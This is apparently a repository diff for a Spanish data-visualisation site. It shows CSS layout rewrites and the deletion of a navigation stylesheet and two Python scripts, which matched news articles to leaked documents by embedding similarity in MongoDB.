${subs.map(s => `
<div class="subtema-row">
<span class="subtema-name">${esc(s.subtema)}</span>
<div class="subtema-bar-wrap">
<div class="subtema-bar" style="width:${Math.round(s.n/maxN*100)}%;background:${esc(c)}66"></div>
</div>
<span class="subtema-n">${esc(fmtNum(s.n))}</span>
</div>`).join('')}
</div>`;
});
}
} catch(e) {
document.getElementById('loading').textContent = 'ERROR AL CARGAR DATOS (' + e.message + ')';
document.getElementById('loading').style.color = '#ff1a1a';
console.error(e);
}
}
load();
</script>
</body>
</html>

View file

@ -1,6 +1,10 @@
/* La familia "Retrolift" no se distribuye con el repo: no hay @font-face. @font-face {
Las reglas que la piden caen a sans-serif. Para usarla, deja el .woff2 en font-family: "Retrolift";
fonts/ y anade aqui la regla con una ruta relativa. */ src: url("fonts/retrolift.woff2") format("woff2"),
url("fonts/retrolift.woff") format("woff");
font-weight: normal;
font-style: normal;
}
* { * {
margin: 0; margin: 0;
@ -38,35 +42,19 @@ header {
display: flex; display: flex;
align-items: center; align-items: center;
position: relative; position: relative;
max-width: 1200px;
width: 100%; width: 100%;
padding: 0 14px;
} }
.header-buttons { .header-buttons {
display: flex; display: flex;
align-items: center; align-items: center;
gap: 6px;
position: absolute; position: absolute;
top: 50%; top: 70%;
right: 14px; right: 10px;
transform: translateY(-50%); transform: translateY(-50%);
} }
.header-buttons--left {
right: auto;
left: 14px;
}
.stats-btn {
border-color: #39ff14;
color: #39ff14;
}
.stats-btn:hover {
background-color: #39ff14;
color: #000;
}
.small-button { .small-button {
margin-left: 5px; margin-left: 5px;
margin-right: 3px; margin-right: 3px;
@ -507,192 +495,501 @@ footer p {
padding: 12px 20px; padding: 12px 20px;
} }
} }
/* ============================================================ /* Para teléfonos de 768px de ancho en portrait */
MÓVIL Portrait ( 1024px) @media screen and (max-width: 768px) and (orientation: portrait) {
============================================================ */
@media screen and (max-width: 1024px) and (orientation: portrait) {
header { height: auto; padding: 12px 10px; }
.title { font-size: 3.2rem; }
.header-buttons {
position: static;
transform: none;
margin-top: 6px;
flex-wrap: wrap;
justify-content: flex-start;
gap: 5px;
}
.header-buttons--left { position: static; }
.small-button {
font-size: 0.72rem;
padding: 5px 10px;
}
/* Nav: fila horizontal scrollable de botones compactos */
nav {
margin-top: 8px;
margin-bottom: 0;
padding: 6px 8px;
overflow-x: auto;
justify-content: flex-start;
}
.nav-links {
flex-wrap: nowrap;
gap: 8px;
padding: 0 2px;
}
.nav-links li { flex-shrink: 0; }
.nav-links a {
width: auto;
height: auto;
font-size: 0.78rem;
padding: 8px 14px;
border-width: 2px;
border-radius: 20px;
}
/* Layout de imágenes: 2 columnas en lugar de 5 */
.background {
flex-wrap: wrap;
height: auto;
overflow-x: hidden;
}
.background a { .background a {
width: 50%; width: 90%;
height: 30vw;
min-height: 120px;
} }
/* Botones overlay: rejilla 2×3 */
.button-overlay {
position: static;
display: grid;
grid-template-columns: 1fr 1fr;
gap: 10px;
padding: 14px 12px 60px;
background: rgba(0,0,0,0.75);
height: auto;
top: auto;
}
.button-column { .button-column {
width: 100%; width: 90%;
gap: 8px; gap: 10px;
}
.overlay-button {
font-size: 0.75rem;
padding: 8px 12px;
}
} }
/* ≤ 600px portrait */ .overlay-button {
@media screen and (max-width: 600px) and (orientation: portrait) { font-size: 0.6rem;
.title { font-size: 2.2rem; } padding: 6px 8px;
}
.title {
font-size: 3rem;
}
.small-button { .small-button {
font-size: 0.65rem; font-size: 0.3rem;
padding: 4px 8px; padding: 2px 2px;
}
.nav-links {
gap: 2em; /* Reduce el espacio entre los enlaces del nav */
} }
.nav-links a { .nav-links a {
font-size: 0.68rem; font-size: 0.8rem;
padding: 7px 11px; padding: 8px 16px;
}
} }
/* Para teléfonos de 576px de ancho en portrait */
@media screen and (max-width: 576px) and (orientation: portrait) {
.background a { .background a {
width: 50%; width: 95%;
height: 28vw;
} }
.button-overlay { .button-column {
grid-template-columns: 1fr 1fr; width: 95%;
gap: 8px; gap: 30px;
padding: 10px 8px 56px;
} }
.overlay-button { .overlay-button {
font-size: 0.68rem; font-size: 0.3rem;
padding: 7px 10px; padding: 5px 7px;
}
} }
/* ≤ 420px portrait */ .title {
@media screen and (max-width: 420px) and (orientation: portrait) { font-size: 4rem;
.title { font-size: 1.8rem; } }
.header-content { flex-direction: column; align-items: flex-start; gap: 6px; }
.small-button { .small-button {
font-size: 0.6rem; font-size: 0.3rem;
padding: 4px 7px; padding: 4px 7px;
} }
.nav-links {
gap: 1.5em;
}
.nav-links a { .nav-links a {
font-size: 0.62rem; font-size: 0.4rem;
padding: 6px 10px; padding: 7px 14px;
}
} }
/* Para teléfonos de 411px de ancho en portrait */
@media screen and (max-width: 411px) and (orientation: portrait) {
.background a { .background a {
width: 50%; width: 100%;
height: 26vw;
} }
.button-overlay { .button-column {
grid-template-columns: 1fr 1fr; width: 100%;
gap: 6px; gap: 5px;
} }
.overlay-button { .overlay-button {
font-size: 0.62rem; font-size: 0.4rem;
padding: 6px 8px; padding: 4px 5px;
}
} }
/* ============================================================ .title {
MÓVIL Landscape (altura 500px) font-size: 1.5rem;
============================================================ */ }
@media screen and (max-width: 900px) and (orientation: landscape) and (max-height: 500px) {
header { padding: 6px 10px; }
.title { font-size: 1.6rem; }
.small-button { .small-button {
font-size: 0.65rem; font-size: 0.3rem;
padding: 4px 5px;
}
.nav-links {
gap: 1em;
}
.nav-links a {
font-size: 0.6rem;
padding: 6px 12px;
}
}
/* Para teléfonos de 375px de ancho en portrait */
@media screen and (max-width: 375px) and (orientation: portrait) {
.background a {
width: 100%;
}
.button-column {
width: 100%;
gap: 3px;
}
.overlay-button {
font-size: 0.35rem;
padding: 3px 4px;
}
.title {
font-size: 1.3rem;
}
.small-button {
font-size: 0.35rem;
padding: 3px 4px;
}
.nav-links {
gap: 0.75em;
}
.nav-links a {
font-size: 0.5rem;
padding: 5px 10px;
}
}
/* Para teléfonos de 320px de ancho en portrait */
@media screen and (max-width: 320px) and (orientation: portrait) {
.background a {
width: 100%;
}
.button-column {
width: 100%;
gap: 2px;
}
.overlay-button {
font-size: 0.3rem;
padding: 2px 3px;
}
.title {
font-size: 1.2rem;
}
.small-button {
font-size: 0.3rem;
padding: 2px 3px;
}
.nav-links {
gap: 0.5em;
}
.nav-links a {
font-size: 0.4rem;
padding: 4px 8px; padding: 4px 8px;
} }
nav { margin-top: 4px; padding: 4px 8px; overflow-x: auto; justify-content: flex-start; }
.nav-links { flex-wrap: nowrap; gap: 6px; }
.nav-links a {
width: auto; height: auto;
font-size: 0.65rem;
padding: 6px 10px;
border-radius: 16px;
} }
.background { height: 100vh; flex-wrap: nowrap; overflow-x: auto; }
.background a { width: 20%; height: 100%; flex-shrink: 0; } /* For devices with smaller screens (e.g., 600px - 800px width) */
@media screen and (min-width: 600px) and (max-width: 800px) and (max-height: 400px) and (orientation: landscape) {
.background {
display: flex;
justify-content: center;
height: 100vh;
width: 100%;
overflow-x: auto;
}
.button-overlay { .button-overlay {
display: flex; display: flex;
justify-content: space-around; justify-content: space-around;
align-items: center; align-items: flex-end;
top: 60px; height: 100%;
height: calc(100% - 60px); padding-bottom: 0px;
} }
.button-column { width: 18%; gap: 4px; }
.button-column {
width: 15%;
display: flex;
flex-direction: column;
justify-content: flex-end;
height: auto;
}
.overlay-button { .overlay-button {
font-size: 0.6rem; font-size: 0.3rem;
padding: 5px 8px; padding: 2px 2px;
}
.title {
font-size: 1rem;
}
.small-button {
font-size: 0.3rem;
padding: 2px 2px;
}
.nav-links a {
font-size: 0.3rem; /* Reduced font size */
padding: 15px 30px; /* Adjusted padding */
} }
} }
/* landscape muy pequeño (≤ 600px ancho) */ /* For medium-sized devices (e.g., 800px - 1000px width) */
@media screen and (max-width: 600px) and (orientation: landscape) and (max-height: 400px) { @media screen and (min-width: 800px) and (max-width: 1000px) and (max-height: 450px) and (orientation: landscape) {
.title { font-size: 1.2rem; } .background {
.small-button { font-size: 0.6rem; padding: 3px 6px; } display: flex;
.nav-links a { font-size: 0.6rem; padding: 5px 8px; } justify-content: center;
.button-column { width: 28%; } height: 100vh;
.overlay-button { font-size: 0.58rem; padding: 4px 6px; } width: 100%;
overflow-x: auto;
}
.button-overlay {
display: flex;
justify-content: space-around;
align-items: flex-end;
height: 100%;
padding-bottom: 0px;
}
.button-column {
width: 16%;
display: flex;
flex-direction: column;
justify-content: flex-end;
height: auto;
}
.overlay-button {
font-size: 0.35rem;
padding: 3px 3px;
}
.title {
font-size: 4rem;
}
.small-button {
font-size: 0.35rem;
padding: 3px 3px;
}
.nav-links a {
font-size: 0.3rem; /* Reduced font size */
padding: 15px 30px; /* Adjusted padding */
}
}
/* For larger devices (e.g., 1000px - 1200px width) */
@media screen and (min-width: 1000px) and (max-width: 1200px) and (max-height: 500px) and (orientation: landscape) {
.background {
display: flex;
justify-content: center;
height: 100vh;
width: 100%;
overflow-x: auto;
}
.button-overlay {
display: flex;
justify-content: space-around;
align-items: flex-end;
height: 100%;
padding-bottom: 0px;
}
.button-column {
width: 17%;
display: flex;
flex-direction: column;
justify-content: flex-end;
height: auto;
}
.overlay-button {
font-size: 0.4rem;
padding: 3px 4px;
}
.title {
font-size: 4rem;
}
.small-button {
font-size: 0.35rem;
padding: 3px 4px;
}
.nav-links a {
font-size: 0.3rem; /* Reduced font size */
padding: 15px 30px; /* Adjusted padding */
}
}
/* For even larger devices (e.g., 1200px - 1500px width) */
@media screen and (min-width: 1200px) and (max-width: 1500px) and (max-height: 700px) and (orientation: landscape) {
.background {
display: flex;
justify-content: center;
height: 100vh;
width: 100%;
overflow-x: auto;
}
.button-overlay {
display: flex;
justify-content: space-around;
align-items: flex-end;
height: 100%;
padding-bottom: 0px;
}
.button-column {
width: 18%;
display: flex;
flex-direction: column;
justify-content: flex-end;
height: auto;
}
.overlay-button {
font-size: 0.45rem;
padding: 4px 5px;
}
.title {
font-size: 4rem;
}
.small-button {
font-size: 0.35rem;
padding: 4px 5px;
}
.nav-links a {
font-size: 0.3rem; /* Reduced font size */
padding: 15px 30px; /* Adjusted padding */
}
}
@media screen and (max-width: 800px) and (orientation: landscape) {
.background a {
width: 100%;
}
.button-column {
width: 20%;
gap: 5px;
margin-top: 40px; /* Push buttons down to avoid navbar */
}
.overlay-button {
font-size: 0.35rem;
padding: 2px 4px;
}
.title {
font-size: 1.4rem;
}
.small-button {
font-size: 0.35rem;
padding: 2px 4px;
}
.nav-links a {
font-size: 0.35rem;
padding: 2px 4px;
}
}
/* For devices with width around 700px */
@media screen and (max-width: 700px) and (orientation: landscape) {
.background a {
width: 100%;
}
.button-column {
width: 25%;
gap: 5px;
margin-top: 50px; /* Further adjustment */
}
.overlay-button {
font-size: 0.3rem;
padding: 2px 3px;
}
.title {
font-size: 1.3rem;
}
.small-button {
font-size: 0.3rem;
padding: 2px 3px;
}
.nav-links a {
font-size: 0.3rem;
padding: 2px 3px;
}
}
/* For smaller devices with width around 600px */
@media screen and (max-width: 600px) and (orientation: landscape) {
.background a {
width: 100%;
}
.button-column {
width: 30%;
gap: 5px;
margin-top: 60px; /* Ensures the buttons are well below the navbar */
}
.overlay-button {
font-size: 0.4rem;
padding: 3px 5px;
}
.title {
font-size: 1.2rem;
}
.small-button {
font-size: 0.5rem;
padding: 3px 5px;
}
.nav-links a {
font-size: 0.5rem;
padding: 3px 5px;
z-index: 2;
}
}
/* Landscape mode for screens up to 480px wide */
@media screen and (max-width: 480px) and (orientation: landscape) {
.button-overlay {
position: absolute;
bottom: 0;
left: 0;
width: 100%;
display: flex;
justify-content: space-around;
align-items: flex-end;
padding-bottom: 5px;
z-index: 1;
}
.button-column {
width: 28%;
gap: 2px;
margin-top:150px;
}
.overlay-button {
font-size: 0.45rem;
padding: 3px 4px;
}
.title {
font-size: 1rem;
}
.small-button {
font-size: 0.45rem;
padding: 3px 4px;
}
.nav-links a {
font-size: 0.45rem;
padding: 3px 4px;
z-index: 2;
}
} }

View file

@ -1,295 +0,0 @@
/* ============================================================
SUB-NAV Barra de navegación compacta, estética = home
============================================================ */
/* ── Contenedor fijo ─────────────────────────────────────── */
.top-nav {
position: fixed;
top: 0;
left: 0;
width: 100%;
transform: translateZ(0); /* capa GPU propia — sobre el canvas WebGL */
z-index: 9999;
background: rgba(0, 0, 0, 0.92);
padding: 8px 0;
border-bottom: 1px solid rgba(255, 255, 255, 0.1);
box-sizing: border-box;
}
nav.top-nav {
display: block !important;
margin-top: 0 !important;
margin-bottom: 0 !important;
justify-content: unset;
box-shadow: none !important;
}
/* ── Fila centrada ───────────────────────────────────────── */
.section-buttons {
display: flex;
justify-content: center;
align-items: center;
gap: 18px;
width: 100%;
padding: 0 12px;
box-sizing: border-box;
/* Sin overflow en desktop → dropdown no queda recortado en Y */
}
/* ── Wrapper ─────────────────────────────────────────────── */
.section-item {
position: relative;
flex-shrink: 0;
}
/* ── Botón — texto NEGRO sobre fondo de sección ──────────── */
.section-btn {
display: inline-flex;
align-items: center;
justify-content: center;
gap: 5px;
/* Desktop grande — mismo "peso visual" que el home */
padding: 14px 34px;
font-size: 1.05em;
font-family: 'Fira Code', monospace;
font-weight: bold;
text-decoration: none;
color: #000000; /* letra negra — legible sobre cualquier fondo */
border: 3px solid black; /* reborde negro siempre */
position: relative;
z-index: 1;
transition: color 0.35s ease-in, transform 0.3s ease, box-shadow 0.3s ease;
white-space: nowrap;
cursor: pointer;
/* mismo text-shadow del home para profundidad */
text-shadow: 1px 1px 3px rgba(0,0,0,0.4);
}
.section-btn:hover {
transform: scale(1.06);
border: 3px solid black;
box-shadow: 0 0 8px rgba(0, 0, 0, 0.6);
}
.dropdown-arrow {
font-size: 0.75em;
line-height: 1;
transition: transform 0.2s;
}
/* ── Fondos por sección — exactos al home ────────────────── */
/* Solo background y border-color; el texto queda en #000000 */
.glob-war-btn { background-color: red; }
.int-sec-btn { background-color: darkblue; color: #aad4ff; } /* azul oscuro → letra clara */
.climate-btn { background-color: lightgreen; }
.eco-corp-btn { background-color: yellow; }
.popl-up-btn { background-color: orange; }
/* ── Hover — colores neón iguales al home ────────────────── */
.glob-war-btn:hover { color: #39ff14; }
.int-sec-btn:hover { color: #ff69b4; }
.climate-btn:hover { color: #ff4500; }
.eco-corp-btn:hover { color: #00fff2; }
.popl-up-btn:hover { color: #0066ff; }
/* ── Botón activo: borde brillante ──────────────────────── */
.section-item.current .section-btn {
box-shadow: 0 0 12px 3px rgba(0,0,0,0.5), 0 0 0 2px rgba(255,255,255,0.4);
}
.section-item.current:hover .dropdown-arrow,
.section-item.current.open .dropdown-arrow {
transform: rotate(180deg);
}
/* ── Dropdown ────────────────────────────────────────────── */
.section-dropdown {
display: none;
position: absolute;
top: calc(100% + 8px);
left: 50%;
transform: translateX(-50%) translateZ(0);
min-width: 200px;
background: rgba(4, 4, 4, 0.98);
border: 1px solid rgba(255, 255, 255, 0.15);
border-radius: 6px;
padding: 6px 0;
z-index: 99999;
box-shadow: 0 10px 32px rgba(0, 0, 0, 0.85);
}
/* Puente para no perder hover al moverse al dropdown */
.section-item.current::after {
content: '';
position: absolute;
top: 100%;
left: -10px;
right: -10px;
height: 14px;
z-index: 99998;
}
.section-item.current:hover .section-dropdown,
.section-item.current.open .section-dropdown {
display: block;
animation: dropFade 0.14s ease;
}
@keyframes dropFade {
from { opacity: 0; transform: translateX(-50%) translateY(-5px); }
to { opacity: 1; transform: translateX(-50%) translateY(0); }
}
.section-dropdown a {
display: block;
padding: 8px 18px;
font-size: 0.75em;
font-family: 'Fira Code', monospace;
color: #ccc;
text-decoration: none;
text-shadow: none;
transition: background 0.15s, color 0.15s;
white-space: nowrap;
}
.section-dropdown a:hover {
background: rgba(255, 255, 255, 0.1);
color: #fff;
}
/* ================================================================
MÓVIL Panel de detalle en la MITAD INFERIOR ( 768px)
Sustituye el "display:none" del graphPanel por layout vertical
================================================================ */
@media (max-width: 768px) {
/* Columna vertical: grafo arriba, detalle abajo */
main.split-screen.show-detail {
flex-direction: column !important;
height: 100vh !important;
}
/* Grafo ocupa la mitad superior — NO se oculta */
main.split-screen.show-detail #graphPanel {
display: block !important;
flex: none !important;
width: 100% !important;
height: 50vh !important;
min-height: 0 !important;
overflow: hidden;
}
/* Panel de detalle ocupa la mitad inferior */
main.split-screen.show-detail #detailPanel {
width: 100% !important;
max-width: 100% !important;
flex: none !important;
height: 50vh !important;
overflow-y: auto;
border-top: 2px solid rgba(57, 255, 20, 0.4);
}
/* El contenido del panel se muestra siempre cuando está abierto */
main.split-screen.show-detail #detailContent {
display: flex !important;
}
}
/* ── Detail image — larger display ──────────────────────── */
.detail-img {
width: 100%;
max-height: 28vh;
object-fit: contain;
display: block;
margin-bottom: 10px;
}
/* ── Ver conexiones button ───────────────────────────────── */
#verConexionesBtn {
display: block;
width: 100%;
margin-top: 14px;
padding: 10px 0;
background: rgba(255,255,255,0.08);
border: 1px solid rgba(255,255,255,0.25);
border-radius: 5px;
color: #aaffaa;
font-family: 'Fira Code', monospace;
font-size: 0.82em;
cursor: pointer;
transition: background 0.2s, color 0.2s;
}
#verConexionesBtn:hover {
background: rgba(255,255,255,0.18);
color: #fff;
}
/* ── Volver al grafo completo — floating overlay ─────────── */
#volverGrafoBtn {
display: none;
position: absolute;
top: 10px;
left: 50%;
transform: translateX(-50%);
z-index: 9990;
padding: 7px 20px;
background: rgba(0,0,0,0.82);
border: 1px solid rgba(255,255,255,0.3);
border-radius: 5px;
color: #fff;
font-family: 'Fira Code', monospace;
font-size: 0.82em;
cursor: pointer;
white-space: nowrap;
}
#volverGrafoBtn.visible { display: block; }
/* ── Móvil — nav más pequeño ≤ 800px ────────────────────── */
@media (max-width: 800px) {
.section-buttons {
justify-content: flex-start;
overflow-x: auto;
overflow-y: visible;
scrollbar-width: none;
-ms-overflow-style: none;
gap: 8px;
}
.section-buttons::-webkit-scrollbar { display: none; }
.section-btn {
padding: 7px 14px;
font-size: 0.72em;
border-width: 2px;
}
/* En móvil con overflow-x el dropdown escapa al contenedor → fixed */
.section-dropdown {
position: fixed !important;
left: 50% !important;
top: 52px !important;
transform: translateX(-50%) translateZ(0) !important;
}
}
@media (max-width: 480px) {
.section-btn {
padding: 6px 10px;
font-size: 0.65em;
}
.section-dropdown { min-width: 160px; }
.section-dropdown a { font-size: 0.7em; padding: 7px 14px; }
}
/* ── Filtro temporal Semanal/Todas (semana-toggle.js) ── */
.rango-btns {
position: absolute; right: 16px; top: 50%; transform: translateY(-50%);
display: flex; gap: 8px; z-index: 10000;
}
.rango-btn {
font-family: 'Fira Code', monospace; font-size: .82em; cursor: pointer;
padding: 7px 15px; border-radius: 6px;
border: 2px solid rgba(255,255,255,.35);
background: rgba(0,0,0,.5); color: #eee; transition: all .15s;
}
.rango-btn:hover { border-color: #fff; }
.rango-btn.active { background: #ececec; color: #111; border-color: #fff; font-weight: 700; }
@media (max-width: 760px) {
.rango-btns { position: static; transform: none; justify-content: center; margin-top: 6px; width: 100%; }
}

View file

@ -1 +0,0 @@
/var/www/theflows.net/flujos/FLUJOS_DATOS/IMAGENES/output/wiki_images

View file

@ -1,66 +0,0 @@
#!/usr/bin/env python3
"""Muestrea pares noticia↔leak en bandas de coseno y vuelca su texto a JSON,
para evaluar la calidad del matching y calibrar el umbral. Solo lectura."""
import json, os, sys
import numpy as np
from pymongo import MongoClient
db = MongoClient("mongodb://localhost:27017", serverSelectionTimeoutMS=4000)["FLUJOS_DATOS"]
# --- noticias con embedding (query) ---
news = list(db.noticias.find(
{"embedding": {"$exists": True}, "apto_embedding": {"$ne": False}},
{"archivo": 1, "embedding": 1, "titulo_original": 1, "texto": 1, "fecha": 1}))
# muestra de noticias para no cargar las 21k (determinista: primeras 3000)
news = news[:3000]
Qarch = [n["archivo"] for n in news]
Q = np.asarray([n["embedding"] for n in news], dtype=np.float32)
Q /= np.clip(np.linalg.norm(Q, axis=1, keepdims=True), 1e-9, None)
# --- chunks de leaks (corpus) ---
ch = list(db.embeddings_chunks.find({"coleccion": "torrents"}, {"archivo": 1, "embedding": 1}))
C = np.asarray([c["embedding"] for c in ch], dtype=np.float32)
C /= np.clip(np.linalg.norm(C, axis=1, keepdims=True), 1e-9, None)
leak_of = [c["archivo"] for c in ch]
uniq, idx = {}, np.empty(len(ch), dtype=np.int64)
names = []
for i, a in enumerate(leak_of):
j = uniq.setdefault(a, len(names))
if j == len(names): names.append(a)
idx[i] = j
nL = len(names)
print(f"news={len(Q)} corpus_chunks={len(C)} leaks={nL}", file=sys.stderr)
# top-1 leak por noticia (doc-level max) → recolectar (cos, news_i, leak_j)
pares = []
Ct = np.ascontiguousarray(C.T)
for b in range(0, len(Q), 256):
S = Q[b:b+256] @ Ct
for r in range(S.shape[0]):
dm = np.full(nL, -1.0, np.float32)
np.maximum.at(dm, idx, S[r])
j = int(dm.argmax())
pares.append((float(dm[j]), b+r, j))
# bandas de coseno; muestrear hasta 10 por banda
bandas = [(0.40,0.45),(0.45,0.50),(0.50,0.55),(0.55,0.60),(0.60,0.65),(0.65,0.70),(0.70,1.01)]
muestras = []
for lo, hi in bandas:
enb = [p for p in pares if lo <= p[0] < hi]
enb.sort(key=lambda x: -x[0])
paso = max(1, len(enb)//10)
for cos, ni, lj in enb[::paso][:10]:
n = news[ni]
leak = db.torrents.find_one({"archivo": names[lj]}, {"texto": 1, "archivo": 1, "tema": 1})
muestras.append({
"banda": f"{lo:.2f}-{hi:.2f}", "cosine": round(cos, 3),
"noticia_titulo": (n.get("titulo_original") or "")[:200],
"noticia_texto": (n.get("texto") or "")[:600],
"leak_archivo": names[lj],
"leak_texto": ((leak or {}).get("texto") or "")[:600],
})
json.dump(muestras, open("/tmp/flujos_pares.json", "w"), ensure_ascii=False, indent=1)
print(f"{len(muestras)} pares volcados a /tmp/flujos_pares.json", file=sys.stderr)
# resumen por banda
from collections import Counter
print("por banda:", dict(Counter(m["banda"] for m in muestras)), file=sys.stderr)

View file

@ -1,237 +0,0 @@
#!/usr/bin/env python3
"""
motor_comparacion.py motor de correlación semántica
=======================================================
Reemplaza el solape-de-palabras (pipeline_completo.py) por SIMILITUD SEMÁNTICA
sobre embeddings MiniLM ya calculados (ver backfill_embeddings.py).
Cómo funciona:
- QUERY = noticias con `embedding` (coconews/rss; se preservan los existentes).
- CORPUS = chunks de leaks/wiki desde `embeddings_chunks` (recall por fragmento).
Si no hay chunks para una colección, cae a `embedding` a nivel doc.
- Para cada noticia: coseno contra todo el corpus, reducido a nivel-documento
por MAX de chunks.
- PENALIZACIÓN DE HUB: los documentos "catch-all" (viewer
de cablegate, emails genéricos...) caen cerca del centroide y matchean con todo
el 39% de los falsos positivos. Se mitiga con:
· drop duro de hubs extremos (grado > --max-grado-frac · nº_noticias)
· ranking por score = cos λ·ln(1+grado) (los hubs moderados bajan en el top-k)
El GATE de creación de arista sigue siendo el coseno crudo (--umbral 0.55,
calibrado con panel de jueces), para no descalibrar las aristas legítimas.
NO DESTRUCTIVO: nunca escribe en `comparaciones`. Salida = colección nueva.
Calibración (no escribe):
/usr/bin/python3 motor_comparacion.py --dry-run
Generación real:
/usr/bin/python3 motor_comparacion.py --umbral 0.55 --salida comparaciones_v2
"""
import argparse
import logging
import math
import os
import sys
import time
from collections import Counter, defaultdict
MONGO_URL = os.getenv("MONGO_URL", "mongodb://localhost:27017")
DB_NAME = os.getenv("DB_NAME", "FLUJOS_DATOS")
CHUNKS_COL = os.getenv("CHUNKS_COL", "embeddings_chunks")
MODEL_NAME = os.getenv("EMBEDDER_MODEL", "paraphrase-multilingual-MiniLM-L12-v2")
logging.basicConfig(level=logging.INFO, format="%(asctime)s [motor] %(message)s")
log = logging.getLogger(__name__)
def conectar():
from pymongo import MongoClient
from pymongo.errors import ServerSelectionTimeoutError
cli = MongoClient(MONGO_URL, serverSelectionTimeoutMS=4000)
try:
cli.admin.command("ping")
except ServerSelectionTimeoutError:
log.error("MongoDB no responde en %s — ¿está mongod arriba? Aborto sin tocar nada.", MONGO_URL)
sys.exit(2)
return cli[DB_NAME]
def cargar_matriz(db, colecciones, query_side=False, limit=0):
"""Devuelve (vectores np.float32 [N,384] L2-normalizados, archivos[N])."""
import numpy as np
vecs, archivos = [], []
if query_side:
cur = db.noticias.find(
{"embedding": {"$exists": True}, "apto_embedding": {"$ne": False}},
{"archivo": 1, "embedding": 1})
if limit:
cur = cur.limit(limit)
for d in cur:
e = d.get("embedding")
if e and d.get("archivo"):
vecs.append(e); archivos.append(d["archivo"].strip())
else:
ch = db[CHUNKS_COL]
for d in ch.find({"coleccion": {"$in": colecciones}}, {"archivo": 1, "embedding": 1}):
e = d.get("embedding")
if e and d.get("archivo"):
vecs.append(e); archivos.append(d["archivo"].strip())
if not vecs: # fallback: sin chunks → embedding a nivel doc
log.warning("Sin chunks en '%s' para %s; usando embedding a nivel documento.",
CHUNKS_COL, colecciones)
for c in colecciones:
for d in db[c].find({"embedding": {"$exists": True}, "apto_embedding": {"$ne": False}},
{"archivo": 1, "embedding": 1}):
e = d.get("embedding")
if e and d.get("archivo"):
vecs.append(e); archivos.append(d["archivo"].strip())
if not vecs:
return np.zeros((0, 384), dtype=np.float32), []
M = np.asarray(vecs, dtype=np.float32)
norms = np.linalg.norm(M, axis=1, keepdims=True)
norms[norms == 0] = 1.0
return M / norms, archivos
def main():
ap = argparse.ArgumentParser(description="Motor de comparación semántica (embeddings + anti-hub)")
ap.add_argument("--query", default="noticias")
ap.add_argument("--corpus", default="torrents",
help="colecciones corpus separadas por coma, p.ej. torrents,wikipedia")
ap.add_argument("--topk", type=int, default=15, help="leaks por noticia (el front capa a 8)")
ap.add_argument("--umbral", type=float, default=0.52,
help="GATE principal: score penalizado mínimo (score = cos λ·ln(1+grado))")
ap.add_argument("--min-cos", type=float, default=0.50, dest="min_cos",
help="suelo duro de coseno crudo (descarta la banda tóxica 0.45-0.50)")
ap.add_argument("--prefiltro", type=float, default=0.50,
help="coseno mínimo para contar como candidato y computar el grado de hub")
ap.add_argument("--lambda-hub", type=float, default=0.02, dest="lambda_hub",
help="penalización de hub: score = cos λ·ln(1+grado)")
ap.add_argument("--max-grado-frac", type=float, default=0.10, dest="max_grado_frac",
help="drop duro de seguridad: descartar leaks que tocan > esta fracción de noticias")
ap.add_argument("--marca-evento", type=float, default=0.68, dest="marca_evento",
help="coseno a partir del cual se marca posible_evento=true")
ap.add_argument("--salida", default="comparaciones_v2")
ap.add_argument("--limit-query", type=int, default=0)
ap.add_argument("--block", type=int, default=256)
ap.add_argument("--dry-run", action="store_true", help="histograma + hubs, NO escribe")
args = ap.parse_args()
corpus = [c.strip() for c in args.corpus.split(",") if c.strip()]
if args.salida == "comparaciones":
log.error("Negado: --salida no puede ser 'comparaciones' (se preserva intacta). Usa comparaciones_v2.")
sys.exit(1)
import numpy as np
db = conectar()
log.info("Cargando QUERY (%s)…", args.query)
Q, q_arch = cargar_matriz(db, [args.query], query_side=True, limit=args.limit_query)
log.info("Cargando CORPUS (%s)…", corpus)
C, c_arch = cargar_matriz(db, corpus, query_side=False)
log.info("QUERY=%d vectores · CORPUS=%d vectores (dim=%d)", len(Q), len(C), Q.shape[1] if len(Q) else 0)
if len(Q) == 0 or len(C) == 0:
log.error("Faltan embeddings. Corre antes backfill_embeddings.py. Aborto.")
sys.exit(3)
# chunk → documento-leak
uniq, leak_names = {}, []
c_leak_idx = np.empty(len(c_arch), dtype=np.int64)
for i, a in enumerate(c_arch):
j = uniq.get(a)
if j is None:
j = len(leak_names); uniq[a] = j; leak_names.append(a)
c_leak_idx[i] = j
n_leaks, n_news = len(leak_names), len(Q)
log.info("Corpus colapsa a %d documentos-leak distintos.", n_leaks)
Ct = np.ascontiguousarray(C.T)
t0 = time.time()
# ---- PASE 1: candidatos (noticia, leak, coseno) ≥ prefiltro ----
cand_news, cand_leak, cand_cos = [], [], []
for b in range(0, n_news, args.block):
scores = Q[b:b + args.block] @ Ct
for r in range(scores.shape[0]):
doc_max = np.full(n_leaks, -1.0, dtype=np.float32)
np.maximum.at(doc_max, c_leak_idx, scores[r]) # reducción chunk→doc por MAX
for j in np.where(doc_max >= args.prefiltro)[0]:
cand_news.append(b + r); cand_leak.append(int(j)); cand_cos.append(float(doc_max[j]))
if (b // args.block) % 20 == 0:
log.info("… pase1 %d/%d noticias (%d candidatos) — %.0fs",
min(b + args.block, n_news), n_news, len(cand_cos), time.time() - t0)
log.info("Pase 1: %d candidatos ≥ %.2f.", len(cand_cos), args.prefiltro)
# ---- grado de hub de cada leak ----
grado = Counter(cand_leak)
max_grado = args.max_grado_frac * n_news
hubs_duros = {j for j, g in grado.items() if g > max_grado}
if hubs_duros:
ej = ", ".join(leak_names[j][:45] for j in sorted(hubs_duros, key=lambda j: -grado[j])[:3])
log.info("Hubs duros descartados (grado > %.0f = %.0f%% noticias): %d leaks. Top: %s",
max_grado, args.max_grado_frac * 100, len(hubs_duros), ej)
# ---- PASE 2: ranking penalizado por noticia, GATE por coseno crudo ----
por_news = defaultdict(list) # ni -> [(score_pen, lj, cos)]
for ni, lj, cos in zip(cand_news, cand_leak, cand_cos):
if lj in hubs_duros:
continue
score = cos - args.lambda_hub * math.log1p(grado[lj])
por_news[ni].append((score, lj, cos))
edges, todos_cos, todos_score = [], [], []
for ni, lst in por_news.items():
lst.sort(reverse=True) # ranking por score penalizado
for score, lj, cos in lst[:args.topk]:
todos_cos.append(cos); todos_score.append(score)
if score >= args.umbral and cos >= args.min_cos: # gate hub-aware + suelo de coseno
edges.append((q_arch[ni], leak_names[lj], score, cos, grado[lj]))
log.info("Generadas %d aristas (gate score≥%.2f, cos≥%.2f, λ_hub=%.3f) en %.0fs.",
len(edges), args.umbral, args.min_cos, args.lambda_hub, time.time() - t0)
if args.dry_run:
cos = np.asarray(todos_cos) if todos_cos else np.zeros(0)
